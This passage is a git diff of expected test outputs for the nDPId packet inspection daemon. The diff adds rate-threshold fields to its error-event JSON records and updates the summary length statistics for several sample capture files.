00433{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"someip_sd_sample.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1559741544964106,"pkt":"AAAQAAEAAAAIAAQAAAAAAAEAXgIDBQBUr+cDQAgARQAAVAAAQAD\/EXSfwKhYSesCAwV3GncaAEDieP\/\/gQAAAAAwAAAAAwEBAgDAAAAAAAAAEAEAABAA6wAAAQAAHgAAAAAAAAAMAAkEAMCoWEkAEcNQ"} -00207{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"packet_id":2,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741545065160} +00307{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1559741545065160,"packet_id":2,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741545065160} 00433{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"someip_sd_sample.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1559741544964106,"pkt":"AAAQAAEAAAAIAAQAAAAAAABUr+cDQABUr+cDAAgARQAAVAAAQAD\/EUmxwKhYTcCoWEl3GncaAECLdf\/\/gQAAAAAwAAAAAwEBAgDAAAAAAAAAEAYAABAA6wAAAQAAHgAAAAEAAAAMAAkEAMCoWE0AEepg"} -00207{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"packet_id":3,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741545065225} +00307{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1559741545065225,"packet_id":3,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741545065225} 00418{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"someip_sd_sample.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"thread_ts_usec":1559741544964106,"pkt":"AAAQAAEAAAAIAAQAAAAAAABUr+cDAABUr+cDQAgARQAASAAAQAD\/EUm9wKhYScCoWE13GncaADSSJ\/\/\/gQAAAAAkAAAAAgEBAgDAAAAAAAAAEAcAAAAA6wAAAQAAHgAAAAEAAAAA"} -00207{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"packet_id":4,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741545764092} +00307{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1559741545764092,"packet_id":4,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741545764092} 00434{"packet_event_id":1,"packet_event_name":"packet","packet_id":4,"source":"someip_sd_sample.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1559741544964106,"pkt":"AAAQAAEAAAAIAAQAAAAAAAEAXgIDBQBUr+cDQAgARQAAVAAAQAD\/EXSfwKhYSesCAwV3GncaAEDid\/\/\/gQAAAAAwAAAABAEBAgDAAAAAAAAAEAEAABAA6wAAAQAAHgAAAAAAAAAMAAkEAMCoWEkAEcNQ"} -00207{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"packet_id":5,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741545865172} +00307{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1559741545865172,"packet_id":5,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741545865172} 00433{"packet_event_id":1,"packet_event_name":"packet","packet_id":5,"source":"someip_sd_sample.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1559741544964106,"pkt":"AAAQAAEAAAAIAAQAAAAAAABUr+cDQABUr+cDAAgARQAAVAAAQAD\/EUmxwKhYTcCoWEl3GncaAECLdP\/\/gQAAAAAwAAAABAEBAgDAAAAAAAAAEAYAABAA6wAAAQAAHgAAAAEAAAAMAAkEAMCoWE0AEepg"} -00207{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"packet_id":6,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741545865698} +00307{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1559741545865698,"packet_id":6,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741545865698} 00417{"packet_event_id":1,"packet_event_name":"packet","packet_id":6,"source":"someip_sd_sample.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"thread_ts_usec":1559741544964106,"pkt":"AAAQAAEAAAAIAAQAAAAAAABUr+cDAABUr+cDQAgARQAASAAAQAD\/EUm9wKhYScCoWE13GncaADSSJv\/\/gQAAAAAkAAAAAwEBAgDAAAAAAAAAEAcAAAAA6wAAAQAAHgAAAAEAAAAA"} 00562{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":6,"source":"someip_sd_sample.pcap","alias":"nDPId-test","packets-captured":6,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":15,"global_ts_usec":1559741545865698} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ @@ -25,6 +25,6 @@ ~~ total memory freed........: 6034017 bytes ~~ total allocations/frees...: 121477/121477 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 212 chars +~~ json string min len.......: 312 chars ~~ json string max len.......: 567 chars -~~ json string avg len.......: 388 chars +~~ json string avg len.......: 438 chars diff --git a/test/results/starcraft_battle.pcap.out b/test/results/starcraft_battle.pcap.out index 1719680be..2325813ce 100644 --- a/test/results/starcraft_battle.pcap.out +++ b/test/results/starcraft_battle.pcap.out @@ -48,7 +48,7 @@ 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":11,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1437389961548711,"flow_src_last_pkt_time":1437389961548711,"flow_dst_last_pkt_time":1437389961548711,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":1,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1437389961548711,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"64.233.184.188","src_port":2759,"dst_port":5228,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00522{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_src_last_pkt_time":1437389961548711,"flow_dst_last_pkt_time":1437389961548711,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"thread_ts_usec":1437389961548711,"pkt":"hCYVPnXEIImEa8W6CABFAAApPndAAIAGAKbAqAFkQOm4vArHFGzE+CH9edXaGlAQAPyZDAAAAA=="} 00535{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":2,"flow_src_last_pkt_time":1437389961548711,"flow_dst_last_pkt_time":1437389961598805,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1437389961598805,"pkt":"IImEa8W6hCYVPnXECABFAAA0aJ8AACgGbnNA6bi8wKgBZBRsCsd51doaxPgh\/oAQAXGUkwAAAQEFCsT4If3E+CH+"} -00197{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":28,"source":"starcraft_battle.pcap","alias":"nDPId-test","layer_type":35020,"global_ts_usec":1437389962628618} +00297{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1437389962628618,"packet_id":28,"source":"starcraft_battle.pcap","alias":"nDPId-test","layer_type":35020,"global_ts_usec":1437389962628618} 00363{"packet_event_id":1,"packet_event_name":"packet","packet_id":28,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":58,"pkt_type":35020,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":58,"pkt_l4_len":0,"thread_ts_usec":1437389961598805,"pkt":"AYDCAAAOIImEa8W6iMwCBwQgiYRrxboEBwMgiYRrxboGAg4R\/gkAEg8BAwABAAD+BwASuwEAAQEAAA=="} 00772{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":29,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":12,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1437389963466906,"flow_src_last_pkt_time":1437389963466906,"flow_dst_last_pkt_time":1437389963466906,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":381,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":381,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":381,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1437389963466906,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"239.255.255.250","src_port":38605,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01017{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_src_last_pkt_time":1437389963466906,"flow_dst_last_pkt_time":1437389963466906,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":423,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":423,"pkt_l4_len":389,"thread_ts_usec":1437389963466906,"pkt":"AQBef\/\/6hCYVPnXECABFAAGZAABAAAERxbPAqAH+7\/\/\/+pbNB2wBhW9zTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHV1aWQ6MTEyNjY3MzYtZmE1OS0xMWU0LTljOWYtODQyNjE1M2U3NWM0DQpVU046IHV1aWQ6MTEyNjY3MzYtZmE1OS0xMWU0LTljOWYtODQyNjE1M2U3NWM0DQpOVFM6IHNzZHA6YWxpdmUNCk9QVDogImh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7DQowMS1OTFM6IDENCkJPT1RJRC5VUE5QLk9SRzogMQ0KQ09ORklHSUQuVVBOUC5PUkc6IDEzMzcNCg0K"} @@ -328,6 +328,6 @@ ~~ total memory freed........: 6177497 bytes ~~ total allocations/frees...: 122936/122936 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 202 chars +~~ json string min len.......: 302 chars ~~ json string max len.......: 2346 chars -~~ json string avg len.......: 1274 chars +~~ json string avg len.......: 1324 chars diff --git a/test/results/syslog.pcap.out b/test/results/syslog.pcap.out index ead301672..6b56a6b56 100644 --- a/test/results/syslog.pcap.out +++ b/test/results/syslog.pcap.out @@ -1,7 +1,7 @@ 00486{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"syslog.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} -00179{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":108743144} +00272{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":108743144,"packet_id":1,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":108743144} 01206{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"syslog.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":703,"pkt_type":34916,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":703,"pkt_l4_len":0,"thread_ts_usec":108743144,"pkt":"ABczYQAA4KHXGMJziGQRABs9AqsAIUW0AqkAAEAAQBEKT1+I8jZdFH5uAgICAgKVMFQ8MjY+SmFuIDAxIDAwOjAxOjQ3IG5iNiBuYmQ6IDAxPTc7MDM9OTUuMTM2LjI0Mi41NDswND1OQjYtRlhDLXIyOzA1PUUwQTFENzE4QzI3MDswNj0xMDc7MjA9MTsyOT05NS4xMzYuMjQyLjU0OzJBPU5CNi1CT09UTE9BREVSLVIxLjMyLjBfTkI2LU1BSU4tUjMuMy40X05CNi1SRVNDVUUtUjMuMS44X05CNi1BRFNMLUEycEQwMzVwX05CNi1DT05GSUctUjMuMy40LjI7MDc9NDA7MDg9MTA7MEE9MTQwMTA7MEI9MTEyODswQz0xNjAwMDswRD0xMDY4OzBFPTMzLjA7MEY9MTguNDsxMj02LjI7MTM9Ni44OzE0PTE5Ljg7MTU9MTIuMTsxNj0wOzE3PTA7MTg9MDsxOT0wOzFCPTE7MUM9QURTTDIrOzFEPTA7MUU9YXV0bzsxRj0xOzIxPTA7MjI9Mzk7MjM9MDsyND0yNjs0Qj0zOzRDPTA7NEQ9MjQ3Mzg7NEU9MzEzNTE2OzRGPTA7NTA9MDs1MT0wOzUyPTA7MTA9MTsxMT00OzMwPTA7MzE9MDszMj0yOzMzPTI7MzQ9MDszNT0wOzM2PTA7NDE9MDs0Mj11bmtub3duOzdDPTA7N0Q9dW5rbm93bjsyRD11bmtub3duOzJGPXVua25vd247Mzk9MDszQT0wOzQ0PTQ5OzQ2PTQ5OzQ4PTQ5OzNCPTA7M0M9MDszRD0wOzNFPTA7M0Y9MDs0MD0wOzc3PTU7Nzg9MDs3OT0wOzkwPTA7OTE9MDs5Mj0wOzk4PTs5OT07OWE9dW5rbm93bjs5Yj1vbjs5Yz1kb3duOzlkPTA7QjA9MA=="} -00179{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":113756696} +00272{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":113756696,"packet_id":2,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":113756696} 00774{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"syslog.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":379,"pkt_type":34916,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":379,"pkt_l4_len":0,"thread_ts_usec":108743144,"pkt":"ABczYQAA4KHXGMJziGQRABs9AWcAIUW0AWUAAEAAQBEL0V+I8jZdFH4wAgICAgFRGxc8MjY+SmFuIDAxIDAwOjAxOjUzIG5iNiBuYmQ6IDAxPTg7MDM9OTUuMTM2LjI0Mi41NDswND1OQjYtRlhDLXIyOzA1PUUwQTFENzE4QzI3MDswNj0xMTM7MjA9MTsyOT05NS4xMzYuMjQyLjU0OzJBPU5CNi1CT09UTE9BREVSLVIxLjMyLjBfTkI2LU1BSU4tUjMuMy40X05CNi1SRVNDVUUtUjMuMS44X05CNi1BRFNMLUEycEQwMzVwX05CNi1DT05GSUctUjMuMy40LjI7Mzc9NDszMD0wOzMxPTA7MzI9MjszMz0yOzM0PTA7MzU9MDszNj0wOzQxPTA7NDI9dW5rbm93bjs3Qz0wOzdEPXVua25vd247MkQ9dW5rbm93bjsyRj11bmtub3duOzM5PTA7M0E9MDs0ND01NTs0Nj01NTs0OD01NQ=="} 00549{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":3,"source":"syslog.pcap","alias":"nDPId-test","packets-captured":3,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":6,"global_ts_usec":1377043331844398} 00754{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"syslog.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1377043331844398,"flow_src_last_pkt_time":1377043331844398,"flow_dst_last_pkt_time":1377043331844398,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":140,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":140,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":140,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1377043331844398,"l3_proto":"ip4","src_ip":"172.20.51.54","dst_ip":"172.31.110.40","src_port":514,"dst_port":514,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -113,13 +113,13 @@ 00908{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":85,"source":"syslog.pcap","alias":"nDPId-test","flow_id":16,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1618744358191948,"flow_src_last_pkt_time":1618744358191948,"flow_dst_last_pkt_time":1618744358191948,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":139,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":139,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":139,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1639052948178444,"l3_proto":"ip4","src_ip":"192.168.254.157","dst_ip":"196.240.66.148","src_port":49611,"dst_port":514,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Syslog","proto_id":"17","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} 01039{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":85,"source":"syslog.pcap","alias":"nDPId-test","flow_id":15,"flow_state":"finished","flow_src_packets_processed":10,"flow_dst_packets_processed":1,"flow_first_seen":1618744117704164,"flow_src_last_pkt_time":1618744314014150,"flow_dst_last_pkt_time":1618744128983164,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":136,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":136,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1639052948178444,"l3_proto":"ip4","src_ip":"10.186.117.194","dst_ip":"169.46.82.162","src_port":49948,"dst_port":52173,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"5": {"risk":"Known Proto on Non Std Port","severity":"Medium","risk_score": {"total":260,"client":230,"server":30}}},"confidence": {"6":"DPI"},"proto":"Syslog","proto_id":"17","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} 00562{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":85,"source":"syslog.pcap","alias":"nDPId-test","packets-captured":85,"packets-processed":82,"total-skipped-flows":0,"total-l4-payload-len":11419,"total-not-detected-flows":2,"total-guessed-flows":0,"total-detected-flows":15,"total-detection-updates":0,"total-updates":10,"current-active-flows":1,"total-active-flows":17,"total-idle-flows":16,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":115,"global_ts_usec":1646228387732435} -00187{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":85,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":1646228387732435} +00287{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1646228387732435,"packet_id":85,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":1646228387732435} 00974{"packet_event_id":1,"packet_event_name":"packet","packet_id":85,"source":"syslog.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":525,"pkt_type":34916,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":525,"pkt_l4_len":0,"thread_ts_usec":1639052948178444,"pkt":"JFpMlM8sAB0cD7o8iGQRAAABAfkAIUUAAfduywAAMxGwY8N4pYZT66ndAgIq+AHjFX48NDU+MSAyMDIyLTAzLTAyVDEyOjM5OjQ3LjY4OTM5Mi0wMTowMCBwZlNlbnNlLmxvY2FsZG9tYWluIHN1cmljYXRhIDM3MDQ2IC0gLSB7InRpbWVzdGFtcCI6ICIyMDIyLTAzLTAyVDEyOjM5OjQ3LjU2MTUyMy0wMTAwIiwgImZsb3dfaWQiOiAzODEwNzkzNTU4MjI1NzMsICJpbl9pZmFjZSI6ICJiZ2U5IiwgImV2ZW50X3R5cGUiOiAic3NoIiwgInNyY19pcCI6ICIxMDYuMTMuMjIzLjEiLCAic3JjX3BvcnQiOiA1MjUzMiwgImRlc3RfaXAiOiAiMTk1LjEyMC4xNjUuMTM0IiwgImRlc3RfcG9ydCI6IDIyMjIsICJwcm90byI6ICJUQ1AiLCAic3NoIjogeyJjbGllbnQiOiB7InByb3RvX3ZlcnNpb24iOiAiMi4wIiwgInNvZnR3YXJlX3ZlcnNpb24iOiAibGlic3NoLTAuNi4zIn0sICJzZXJ2ZXIiOiB7InByb3RvX3ZlcnNpb24iOiAiMi4wIiwgInNvZnR3YXJlX3ZlcnNpb24iOiAiT3BlblNTSF82LjdwMSBEZWJpYW4tNStkZWI4dTMifX19"} -00187{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":86,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":1646228388234384} +00287{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1646228388234384,"packet_id":86,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":1646228388234384} 00874{"packet_event_id":1,"packet_event_name":"packet","packet_id":86,"source":"syslog.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":450,"pkt_type":34916,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":450,"pkt_l4_len":0,"thread_ts_usec":1639052948178444,"pkt":"JFpMlM8sAB0cD7o8iGQRAAABAa4AIUUAAayvtwAAMxFvwsN4pYZT66ndAgIq+AGYZY08NDU+MSAyMDIyLTAzLTAyVDEyOjM5OjQ4LjE5MTY4NC0wMTowMCBwZlNlbnNlLmxvY2FsZG9tYWluIHN1cmljYXRhIDM3MDQ2IC0gLSB7InRpbWVzdGFtcCI6ICIyMDIyLTAzLTAyVDEyOjM5OjQ4LjA1NTI1My0wMTAwIiwgImZsb3dfaWQiOiAxMjEzNTkwMDQ2ODI0NDA1LCAiaW5faWZhY2UiOiAiYmdlOSIsICJldmVudF90eXBlIjogImRucyIsICJzcmNfaXAiOiAiMTk1LjEyMC4xNjUuMTM0IiwgInNyY19wb3J0IjogODM2MCwgImRlc3RfaXAiOiAiOC44LjguOCIsICJkZXN0X3BvcnQiOiA1MywgInByb3RvIjogIlVEUCIsICJkbnMiOiB7InR5cGUiOiAicXVlcnkiLCAiaWQiOiAxODQ4NCwgInJybmFtZSI6ICJvcGVudnBudGVjLmV0cmEtaWQuY29tIiwgInJydHlwZSI6ICJBIiwgInR4X2lkIjogMH19"} -00187{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":87,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":1646228388765119} +00287{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1646228388765119,"packet_id":87,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":1646228388765119} 00874{"packet_event_id":1,"packet_event_name":"packet","packet_id":87,"source":"syslog.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":449,"pkt_type":34916,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":449,"pkt_l4_len":0,"thread_ts_usec":1639052948178444,"pkt":"JFpMlM8sAB0cD7o8iGQRAAABAa0AIUUAAav9yAAAMxEhssN4pYZT66ndAgIq+AGXbaE8NDU+MSAyMDIyLTAzLTAyVDEyOjM5OjQ4LjcyMjMzOC0wMTowMCBwZlNlbnNlLmxvY2FsZG9tYWluIHN1cmljYXRhIDM3MDQ2IC0gLSB7InRpbWVzdGFtcCI6ICIyMDIyLTAzLTAyVDEyOjM5OjQ4LjE5NzI2NS0wMTAwIiwgImZsb3dfaWQiOiAyOTAwNDk2NzE1NjE4NzMsICJpbl9pZmFjZSI6ICJiZ2U5IiwgImV2ZW50X3R5cGUiOiAiZG5zIiwgInNyY19pcCI6ICIxOTUuMTIwLjE2NS4xMzQiLCAic3JjX3BvcnQiOiA0NjkyLCAiZGVzdF9pcCI6ICI4LjguOC44IiwgImRlc3RfcG9ydCI6IDUzLCAicHJvdG8iOiAiVURQIiwgImRucyI6IHsidHlwZSI6ICJxdWVyeSIsICJpZCI6IDM5MDc0LCAicnJuYW1lIjogIm9wZW52cG50ZWMuZXRyYS1pZC5jb20iLCAicnJ0eXBlIjogIkEiLCAidHhfaWQiOiAwfX0="} -00187{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":88,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":1646228388765633} +00287{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1646228388765633,"packet_id":88,"source":"syslog.pcap","alias":"nDPId-test","layer_type":34916,"global_ts_usec":1646228388765633} 00982{"packet_event_id":1,"packet_event_name":"packet","packet_id":88,"source":"syslog.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":530,"pkt_type":34916,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":530,"pkt_l4_len":0,"thread_ts_usec":1639052948178444,"pkt":"JFpMlM8sAB0cD7o8iGQRAAABAf4AIUUAAfwa3gAAMxEETMN4pYZT66ndAgIq+AHo0Bs8NDU+MSAyMDIyLTAzLTAyVDEyOjM5OjQ4LjcyMjQzOC0wMTowMCBwZlNlbnNlLmxvY2FsZG9tYWluIHN1cmljYXRhIDM3MDQ2IC0gLSB7InRpbWVzdGFtcCI6ICIyMDIyLTAzLTAyVDEyOjM5OjQ4LjIxNTI3Ny0wMTAwIiwgImZsb3dfaWQiOiAyOTAwNDk2NzE1NjE4NzMsICJpbl9pZmFjZSI6ICJiZ2U5IiwgImV2ZW50X3R5cGUiOiAiZG5zIiwgInNyY19pcCI6ICIxOTUuMTIwLjE2NS4xMzQiLCAic3JjX3BvcnQiOiA0NjkyLCAiZGVzdF9pcCI6ICI4LjguOC44IiwgImRlc3RfcG9ydCI6IDUzLCAicHJvdG8iOiAiVURQIiwgImRucyI6IHsidmVyc2lvbiI6IDIsICJ0eXBlIjogImFuc3dlciIsICJpZCI6IDM5MDc0LCAiZmxhZ3MiOiAiODE4MCIsICJxciI6IHRydWUsICJyZCI6IHRydWUsICJyYSI6IHRydWUsICJycm5hbWUiOiAib3Bl